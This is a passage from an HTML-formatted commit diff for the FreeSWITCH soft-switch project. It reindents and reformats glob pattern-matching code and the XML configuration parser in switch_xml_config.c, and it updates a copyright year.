</span><span class="cx">         pglob->gl_pathv = pathv;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (p = path; *p++;)
</span><span class="cx">                 continue;
</span><del>-        len = (size_t)(p - path);
</del><ins>+        len = (size_t) (p - path);
</ins><span class="cx">         if ((copy = malloc(len)) != NULL) {
</span><span class="cx">                 memcpy(copy, path, len);
</span><span class="cx">                 pathv[pglob->gl_offs + pglob->gl_pathc++] = copy;
</span><span class="cx">         }
</span><span class="cx">         pathv[pglob->gl_offs + pglob->gl_pathc] = NULL;
</span><del>-        return(copy == NULL ? GLOB_NOSPACE : 0);
</del><ins>+        return (copy == NULL ? GLOB_NOSPACE : 0);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -2930,49 +2927,49 @@
</span><span class="cx">         int ok, negate_range;
</span><span class="cx">         char c, k;
</span><span class="cx">         char s1[6];
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (pat < patend) {
</span><span class="cx">                 c = *pat++;
</span><span class="cx">                 switch (c & M_MASK) {
</span><del>-                        case M_ALL:
-                                if (pat == patend)
-                                        return(1);
-                                do
-                                        if (match(name, pat, patend))
-                                                return(1);
-                                while (*name++ != EOS);
-                                return(0);
-                        case M_ONE:
-                                if (*name++ == EOS)
-                                        return(0);
-                                break;
-                        case M_SET:
-                                ok = 0;
-                                if ((k = *name++) == EOS)
-                                        return(0);
-                                if ((negate_range = ((*pat & M_MASK) == M_NOT)) != EOS)
-                                        ++pat;
-                                while (((c = *pat++) & M_MASK) != M_END)
-                                        if ((*pat & M_MASK) == M_RNG) {
-                                                memset(s1, 0, sizeof(s1));
-                                                s1[0] = c;
-                                                s1[2] = k;
-                                                s1[4] = pat[1];
-                                                if (strcoll(&s1[0], &s1[2]) <= 0 && strcoll(&s1[2], &s1[4]) <= 0)
-                                                        ok = 1;
-                                                pat += 2;
-                                        } else if (c == k)
</del><ins>+                case M_ALL:
+                        if (pat == patend)
+                                return (1);
+                        do
+                                if (match(name, pat, patend))
+                                        return (1);
+                        while (*name++ != EOS);
+                        return (0);
+                case M_ONE:
+                        if (*name++ == EOS)
+                                return (0);
+                        break;
+                case M_SET:
+                        ok = 0;
+                        if ((k = *name++) == EOS)
+                                return (0);
+                        if ((negate_range = ((*pat & M_MASK) == M_NOT)) != EOS)
+                                ++pat;
+                        while (((c = *pat++) & M_MASK) != M_END)
+                                if ((*pat & M_MASK) == M_RNG) {
+                                        memset(s1, 0, sizeof(s1));
+                                        s1[0] = c;
+                                        s1[2] = k;
+                                        s1[4] = pat[1];
+                                        if (strcoll(&s1[0], &s1[2]) <= 0 && strcoll(&s1[2], &s1[4]) <= 0)
</ins><span class="cx">                                                 ok = 1;
</span><del>-                                if (ok == negate_range)
-                                        return(0);
-                                break;
-                        default:
-                                if (*name++ != c)
-                                        return(0);
-                                break;
</del><ins>+                                        pat += 2;
+                                } else if (c == k)
+                                        ok = 1;
+                        if (ok == negate_range)
+                                return (0);
+                        break;
+                default:
+                        if (*name++ != c)
+                                return (0);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        return(*name == EOS);
</del><ins>+        return (*name == EOS);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* Free allocated data belonging to a glob_t structure. */
</span><span class="lines">@@ -2980,7 +2977,7 @@
</span><span class="cx"> {
</span><span class="cx">         size_t i;
</span><span class="cx">         char **pp;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pglob->gl_pathv != NULL) {
</span><span class="cx">                 pp = pglob->gl_pathv + pglob->gl_offs;
</span><span class="cx">                 for (i = pglob->gl_pathc; i--; ++pp)
</span><span class="lines">@@ -2990,6 +2987,7 @@
</span><span class="cx">                 pglob->gl_pathv = NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #pragma warning(pop)
</span><span class="cx"> #endif
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_xml_configc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_xml_config.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_xml_config.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_xml_config.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -35,21 +35,21 @@
</span><span class="cx"> SWITCH_DECLARE_DATA switch_xml_config_string_options_t switch_config_string_strdup = { NULL, 0, NULL };
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_enum_item_t switch_config_types_enum[] = {
</span><del>-        {"int",         SWITCH_CONFIG_INT                },
-        {"string",         SWITCH_CONFIG_STRING        },
-        {"bool",         SWITCH_CONFIG_BOOL                },
-        {"custom",         SWITCH_CONFIG_CUSTOM        },
-        {"enum",         SWITCH_CONFIG_ENUM                },
-        {"flag",         SWITCH_CONFIG_FLAG                },
-        {"flagarray",SWITCH_CONFIG_FLAGARRAY},
-        { NULL, 0 }
</del><ins>+        {"int", SWITCH_CONFIG_INT},
+        {"string", SWITCH_CONFIG_STRING},
+        {"bool", SWITCH_CONFIG_BOOL},
+        {"custom", SWITCH_CONFIG_CUSTOM},
+        {"enum", SWITCH_CONFIG_ENUM},
+        {"flag", SWITCH_CONFIG_FLAG},
+        {"flagarray", SWITCH_CONFIG_FLAGARRAY},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_size_t) switch_event_import_xml(switch_xml_t xml, const char *keyname, const char *valuename, switch_event_t **event)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t node;
</span><span class="cx">         switch_size_t count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!*event) {
</span><span class="cx">                 /* SWITCH_EVENT_CLONE will not insert any generic event headers */
</span><span class="cx">                 switch_event_create(event, SWITCH_EVENT_CLONE);
</span><span class="lines">@@ -64,7 +64,7 @@
</span><span class="cx">                         count++;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return count;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -72,7 +72,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t cfg, xml, settings;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(file, &cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not open %s\n", file);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -81,9 +81,9 @@
</span><span class="cx">         if ((settings = switch_xml_child(cfg, "settings"))) {
</span><span class="cx">                 status = switch_xml_config_parse(switch_xml_child(settings, "param"), reload, instructions);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -91,8 +91,8 @@
</span><span class="cx"> {
</span><span class="cx">         if (item->syntax && item->helptext) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, level, "Item name: [%s]\nType: %s (%s)\nSyntax: %s\nHelp: %s\n\n",
</span><del>-                         item->key, switch_xml_config_enum_int2str(switch_config_types_enum, item->type),
-                        switch_test_flag(item, CONFIG_REQUIRED) ? "required" : "optional", item->syntax, item->helptext);
</del><ins>+                                                 item->key, switch_xml_config_enum_int2str(switch_config_types_enum, item->type),
+                                                 switch_test_flag(item, CONFIG_REQUIRED) ? "required" : "optional", item->syntax, item->helptext);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -101,31 +101,31 @@
</span><span class="cx">         switch_event_t *event = NULL;
</span><span class="cx">         switch_status_t result;
</span><span class="cx">         int count = switch_event_import_xml(xml, "name", "value", &event);
</span><del>-        
</del><ins>+
</ins><span class="cx">         result = switch_xml_config_parse_event(event, count, reload, instructions);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(&event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_config_enum_str2int(switch_xml_config_enum_item_t *enum_options, const char *value, int *out)
</span><span class="cx"> {
</span><del>-        for (;enum_options->key; enum_options++) {
</del><ins>+        for (; enum_options->key; enum_options++) {
</ins><span class="cx">                 if (!strcasecmp(value, enum_options->key)) {
</span><span class="cx">                         *out = enum_options->value;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
</del><ins>+SWITCH_DECLARE(const char *) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
</ins><span class="cx"> {
</span><del>-        for (;enum_options->key; enum_options++) {
</del><ins>+        for (; enum_options->key; enum_options++) {
</ins><span class="cx">                 if (value == enum_options->value) {
</span><span class="cx">                         return enum_options->key;
</span><span class="cx">                 }
</span><span class="lines">@@ -133,241 +133,245 @@
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload,
+                                                                                                                         switch_xml_config_item_t *instructions)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_config_item_t *item;
</span><span class="cx">         int matched_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (item = instructions; item->key; item++) {
</span><span class="cx">                 const char *value = switch_event_get_header(event, item->key);
</span><span class="cx">                 switch_bool_t changed = SWITCH_FALSE;
</span><del>-                switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item->function;
</del><ins>+                switch_xml_config_callback_t callback = (switch_xml_config_callback_t) item->function;
</ins><span class="cx">                 void *ptr = item->ptr;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 //switch_assert(ptr);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (value) {
</span><span class="cx">                         matched_count++;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (reload && !switch_test_flag(item, CONFIG_RELOADABLE)) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!value && switch_test_flag(item, CONFIG_REQUIRED)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Required parameter [%s] is missing\n", item->key);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
-                switch(item->type) {
-                        case SWITCH_CONFIG_INT:
-                                {
-                                        switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t*)item->data;
-                                        int *dest = (int*)ptr;
-                                        int intval;
-                                        if (value) {
-                                                if (switch_is_number(value)) {
-                                                        intval = atoi(value);
-                                                } else {
-                                                        intval = (int)(intptr_t)item->defaultvalue;
-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%d]\n",
-                                                                value, item->key, intval);
-                                                }
-                                                
-                                                if (int_options) {
-                                                        /* Enforce validation options */
-                                                        if ((int_options->enforce_min && !(intval > int_options->min)) ||
-                                                                (int_options->enforce_max && !(intval < int_options->max))) {
-                                                                        /* Validation failed, set default */
-                                                                        intval = (int)(intptr_t)item->defaultvalue;
-                                                                        /* Then complain */
-                                                                        if (int_options->enforce_min && int_options->enforce_max) {
-                                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n",
-                                                                                        value, item->key, int_options->min, int_options->max, intval);
-                                                                         } else {
-                                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n",
-                                                                                        value, item->key, int_options->enforce_min ? "at least" : "at max", int_options->enforce_min ? int_options->min : int_options->max, intval);
-                                                                        }
-                                                                }
-                                                }
</del><ins>+
+                switch (item->type) {
+                case SWITCH_CONFIG_INT:
+                        {
+                                switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t *) item->data;
+                                int *dest = (int *) ptr;
+                                int intval;
+                                if (value) {
+                                        if (switch_is_number(value)) {
+                                                intval = atoi(value);
</ins><span class="cx">                                         } else {
</span><del>-                                                intval = (int)(intptr_t)item->defaultvalue;
</del><ins>+                                                intval = (int) (intptr_t) item->defaultvalue;
+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%d]\n",
+                                                                                 value, item->key, intval);
</ins><span class="cx">                                         }
</span><del>-                                        
-                                        if (*dest != intval) {
-                                                *dest = intval;
-                                                changed = SWITCH_TRUE;
-                                        }
-                                }
-                                break;
-                        case SWITCH_CONFIG_STRING:
-                                {
-                                        switch_xml_config_string_options_t string_options_default = { 0 };
-                                        switch_xml_config_string_options_t *string_options = item->data ? (switch_xml_config_string_options_t*)item->data : &string_options_default;
-                                        const char *newstring = NULL;
-                                        
-                                        /* Perform validation */
-                                        if (value) {
-                                                if (!zstr(string_options->validation_regex)) {
-                                                        if (switch_regex_match(value, string_options->validation_regex) == SWITCH_STATUS_SUCCESS) {
-                                                                newstring = value; /* Regex match, accept value*/
</del><ins>+
+                                        if (int_options) {
+                                                /* Enforce validation options */
+                                                if ((int_options->enforce_min && !(intval > int_options->min)) || (int_options->enforce_max && !(intval < int_options->max))) {
+                                                        /* Validation failed, set default */
+                                                        intval = (int) (intptr_t) item->defaultvalue;
+                                                        /* Then complain */
+                                                        if (int_options->enforce_min && int_options->enforce_max) {
+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                                                                 "Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n", value,
+                                                                                                 item->key, int_options->min, int_options->max, intval);
</ins><span class="cx">                                                         } else {
</span><del>-                                                                newstring = (char*)item->defaultvalue; /* Regex failed */
-                                                                if (newstring) {
-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
-                                                                                value, item->key, newstring);
-                                                                } else {
-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
-                                                                }
-                                                                switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                                                                 "Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n", value, item->key,
+                                                                                                 int_options->enforce_min ? "at least" : "at max",
+                                                                                                 int_options->enforce_min ? int_options->min : int_options->max, intval);
</ins><span class="cx">                                                         }
</span><del>-                                                } else {
-                                                        newstring = value; /* No validation */
</del><span class="cx">                                                 }
</span><del>-                                        } else {
-                                                newstring = (char*)item->defaultvalue;
</del><span class="cx">                                         }
</span><ins>+                                } else {
+                                        intval = (int) (intptr_t) item->defaultvalue;
+                                }
</ins><span class="cx">
</span><del>-                                        if (string_options->length > 0) {
-                                                /* We have a preallocated buffer */
-                                                char *dest = (char*)ptr;
-                                                
-                                                if (newstring) {
-                                                        if (strncasecmp(dest, newstring, string_options->length)) {
-                                                                switch_copy_string(dest, newstring, string_options->length);
-                                                                changed = SWITCH_TRUE;
-                                                        }
</del><ins>+                                if (*dest != intval) {
+                                        *dest = intval;
+                                        changed = SWITCH_TRUE;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_STRING:
+                        {
+                                switch_xml_config_string_options_t string_options_default = { 0 };
+                                switch_xml_config_string_options_t *string_options =
+                                        item->data ? (switch_xml_config_string_options_t *) item->data : &string_options_default;
+                                const char *newstring = NULL;
+
+                                /* Perform validation */
+                                if (value) {
+                                        if (!zstr(string_options->validation_regex)) {
+                                                if (switch_regex_match(value, string_options->validation_regex) == SWITCH_STATUS_SUCCESS) {
+                                                        newstring = value;        /* Regex match, accept value */
</ins><span class="cx">                                                 } else {
</span><del>-                                                        if (*dest != '\0') {
-                                                                *dest = '\0';
-                                                                changed = SWITCH_TRUE;
</del><ins>+                                                        newstring = (char *) item->defaultvalue;        /* Regex failed */
+                                                        if (newstring) {
+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
+                                                                                                 value, item->key, newstring);
+                                                        } else {
+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
</ins><span class="cx">                                                         }
</span><ins>+                                                        switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
</ins><span class="cx">                                                 }
</span><del>-                                        } else if (string_options->pool) {
-                                                /* Pool-allocated buffer */
-                                                char **dest = (char**)ptr;
-                                                
-                                                if (newstring) {
-                                                        if (!*dest || strcmp(*dest, newstring)) {
-                                                                *dest = switch_core_strdup(string_options->pool, newstring);
-                                                        }
-                                                } else {
-                                                        if (*dest) {
-                                                                changed = SWITCH_TRUE;
-                                                                *dest = NULL;
-                                                        }
-                                                }
</del><span class="cx">                                         } else {
</span><del>-                                                /* Dynamically allocated buffer */
-                                                char **dest = (char**)ptr;
-                                                
-                                                if (newstring) {
-                                                        if (!*dest || strcmp(*dest, newstring)) {
-                                                                switch_safe_free(*dest);
-                                                                *dest = strdup(newstring);
-                                                                changed = SWITCH_TRUE;                                                
-                                                        }        
-                                                } else {
-                                                        if (*dest) {
-                                                                switch_safe_free(*dest);
-                                                                changed = SWITCH_TRUE;
-                                                        }
-                                                }
</del><ins>+                                                newstring = value;        /* No validation */
</ins><span class="cx">                                         }
</span><ins>+                                } else {
+                                        newstring = (char *) item->defaultvalue;
</ins><span class="cx">                                 }
</span><del>-                                break;
-                        case SWITCH_CONFIG_BOOL:
-                                {
-                                        switch_bool_t *dest = (switch_bool_t*)ptr;
-                                        switch_bool_t newval = SWITCH_FALSE;
-                                        
-                                        if (value && switch_true(value)) {
-                                                newval = SWITCH_TRUE;
-                                        } else if (value && switch_false(value)) {
-                                                newval = SWITCH_FALSE;
-                                        } else if (value) {
-                                                /* Value isnt true or false */
-                                                newval = (switch_bool_t)(intptr_t)item->defaultvalue;
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
-                                                                                value, item->key, newval ? "true" : "false");
-                                                switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
</del><ins>+
+                                if (string_options->length > 0) {
+                                        /* We have a preallocated buffer */
+                                        char *dest = (char *) ptr;
+
+                                        if (newstring) {
+                                                if (strncasecmp(dest, newstring, string_options->length)) {
+                                                        switch_copy_string(dest, newstring, string_options->length);
+                                                        changed = SWITCH_TRUE;
+                                                }
</ins><span class="cx">                                         } else {
</span><del>-                                                newval = (switch_bool_t)(intptr_t)item->defaultvalue;
</del><ins>+                                                if (*dest != '\0') {
+                                                        *dest = '\0';
+                                                        changed = SWITCH_TRUE;
+                                                }
</ins><span class="cx">                                         }
</span><del>-                                        
-                                        if (*dest != newval) {
-                                                *dest = newval;
-                                                changed = SWITCH_TRUE;
-                                        }
-                                }
-                                break;
-                        case SWITCH_CONFIG_CUSTOM:
-                                break;
-                        case SWITCH_CONFIG_ENUM:
-                                {
-                                        switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t*)item->data;
-                                        int *dest = (int*)ptr;
-                                        int newval = 0;
-                                        switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
-                                        
-                                        if (value) {
-                                                lookup_result = switch_xml_config_enum_str2int(enum_options, value, &newval);
</del><ins>+                                } else if (string_options->pool) {
+                                        /* Pool-allocated buffer */
+                                        char **dest = (char **) ptr;
+
+                                        if (newstring) {
+                                                if (!*dest || strcmp(*dest, newstring)) {
+                                                        *dest = switch_core_strdup(string_options->pool, newstring);
+                                                }
</ins><span class="cx">                                         } else {
</span><del>-                                                newval = (int)(intptr_t)item->defaultvalue;
</del><ins>+                                                if (*dest) {
+                                                        changed = SWITCH_TRUE;
+                                                        *dest = NULL;
+                                                }
</ins><span class="cx">                                         }
</span><del>-                                        
-                                        if (lookup_result != SWITCH_STATUS_SUCCESS) {
-                                                newval = (int)(intptr_t)item->defaultvalue;
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
-                                                switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
-                                        }
-                                        
-                                        if (*dest != newval) {
-                                                changed = SWITCH_TRUE;
-                                                *dest = newval;
-                                        }
-                                }
-                                break;
-                        case SWITCH_CONFIG_FLAG:
-                                {
-                                        int32_t *dest = (int32_t*)ptr;
-                                        int index = (int)(intptr_t)item->data;
-                                        int8_t currentval = (int8_t)!!(*dest & index);
-                                        int8_t newval = 0;
-                                        
-                                        if (value) {
-                                                newval = switch_true(value);
</del><ins>+                                } else {
+                                        /* Dynamically allocated buffer */
+                                        char **dest = (char **) ptr;
+
+                                        if (newstring) {
+                                                if (!*dest || strcmp(*dest, newstring)) {
+                                                        switch_safe_free(*dest);
+                                                        *dest = strdup(newstring);
+                                                        changed = SWITCH_TRUE;
+                                                }
</ins><span class="cx">                                         } else {
</span><del>-                                                newval = (switch_bool_t)(intptr_t)item->defaultvalue;
-                                        }
-                                        
-                                        if (newval != currentval) {
-                                                changed = SWITCH_TRUE;
-                                                if (newval) {
-                                                        *dest |= (1 << index);
-                                                } else {
-                                                        *dest &= ~(1 << index);
</del><ins>+                                                if (*dest) {
+                                                        switch_safe_free(*dest);
+                                                        changed = SWITCH_TRUE;
</ins><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                break;
-                        case SWITCH_CONFIG_FLAGARRAY:
-                                {
-                                        int8_t *dest = (int8_t*)ptr;
-                                        unsigned int index = (unsigned int)(intptr_t)item->data;
-                                        int8_t newval = value ? !!switch_true(value) : (int8_t)((intptr_t)item->defaultvalue);
-                                        if (dest[index] != newval) {
-                                                changed = SWITCH_TRUE;
-                                                dest[index] = newval;
</del><ins>+                        }
+                        break;
+                case SWITCH_CONFIG_BOOL:
+                        {
+                                switch_bool_t *dest = (switch_bool_t *) ptr;
+                                switch_bool_t newval = SWITCH_FALSE;
+
+                                if (value && switch_true(value)) {
+                                        newval = SWITCH_TRUE;
+                                } else if (value && switch_false(value)) {
+                                        newval = SWITCH_FALSE;
+                                } else if (value) {
+                                        /* Value isnt true or false */
+                                        newval = (switch_bool_t) (intptr_t) item->defaultvalue;
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",
+                                                                         value, item->key, newval ? "true" : "false");
+                                        switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+                                } else {
+                                        newval = (switch_bool_t) (intptr_t) item->defaultvalue;
+                                }
+
+                                if (*dest != newval) {
+                                        *dest = newval;
+                                        changed = SWITCH_TRUE;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_CUSTOM:
+                        break;
+                case SWITCH_CONFIG_ENUM:
+                        {
+                                switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t *) item->data;
+                                int *dest = (int *) ptr;
+                                int newval = 0;
+                                switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
+
+                                if (value) {
+                                        lookup_result = switch_xml_config_enum_str2int(enum_options, value, &newval);
+                                } else {
+                                        newval = (int) (intptr_t) item->defaultvalue;
+                                }
+
+                                if (lookup_result != SWITCH_STATUS_SUCCESS) {
+                                        newval = (int) (intptr_t) item->defaultvalue;
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
+                                        switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+                                }
+
+                                if (*dest != newval) {
+                                        changed = SWITCH_TRUE;
+                                        *dest = newval;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_FLAG:
+                        {
+                                int32_t *dest = (int32_t *) ptr;
+                                int index = (int) (intptr_t) item->data;
+                                int8_t currentval = (int8_t) ! !(*dest & index);
+                                int8_t newval = 0;
+
+                                if (value) {
+                                        newval = switch_true(value);
+                                } else {
+                                        newval = (switch_bool_t) (intptr_t) item->defaultvalue;
+                                }
+
+                                if (newval != currentval) {
+                                        changed = SWITCH_TRUE;
+                                        if (newval) {
+                                                *dest |= (1 << index);
+                                        } else {
+                                                *dest &= ~(1 << index);
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                break;
-                        case SWITCH_CONFIG_LAST:
-                                break;
-                        default:
-                                break;
</del><ins>+                        }
+                        break;
+                case SWITCH_CONFIG_FLAGARRAY:
+                        {
+                                int8_t *dest = (int8_t *) ptr;
+                                unsigned int index = (unsigned int) (intptr_t) item->data;
+                                int8_t newval = value ? !!switch_true(value) : (int8_t) ((intptr_t) item->defaultvalue);
+                                if (dest[index] != newval) {
+                                        changed = SWITCH_TRUE;
+                                        dest[index] = newval;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_LAST:
+                        break;
+                default:
+                        break;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (callback) {
</span><span class="cx">                         callback(item, value, (reload ? CONFIG_RELOAD : CONFIG_LOAD), changed);
</span><span class="cx">                 }
</span><span class="lines">@@ -384,14 +388,15 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!found) {
</span><span class="cx">                                 /* Tell the user */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n", header->name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                 "Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n", header->name);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -399,35 +404,36 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_config_item_t *item;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (item = instructions; item->key; item++) {
</span><del>-                switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item->function;
-                
</del><ins>+                switch_xml_config_callback_t callback = (switch_xml_config_callback_t) item->function;
+
</ins><span class="cx">                 switch (item->type) {
</span><del>-                        case SWITCH_CONFIG_STRING:
-                                {
-                                        char **ptr = (char**)item->ptr;
-                                        switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t*)item->data;
-                                        /* if (using_strdup) */
-                                        if (string_options && !string_options->pool && !string_options->length) {
-                                                switch_safe_free(*ptr);
-                                        }
</del><ins>+                case SWITCH_CONFIG_STRING:
+                        {
+                                char **ptr = (char **) item->ptr;
+                                switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t *) item->data;
+                                /* if (using_strdup) */
+                                if (string_options && !string_options->pool && !string_options->length) {
+                                        switch_safe_free(*ptr);
</ins><span class="cx">                                 }
</span><del>-                                break;
-                        default:
-                                break;
</del><ins>+                        }
+                        break;
+                default:
+                        break;
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (callback) {
</span><span class="cx">                         callback(item, NULL, CONFIG_SHUTDOWN, SWITCH_FALSE);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,         
-                                                                                const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext)
</del><ins>+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
+                                                                                                        const void *defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax,
+                                                                                                        const char *helptext)
</ins><span class="cx"> {
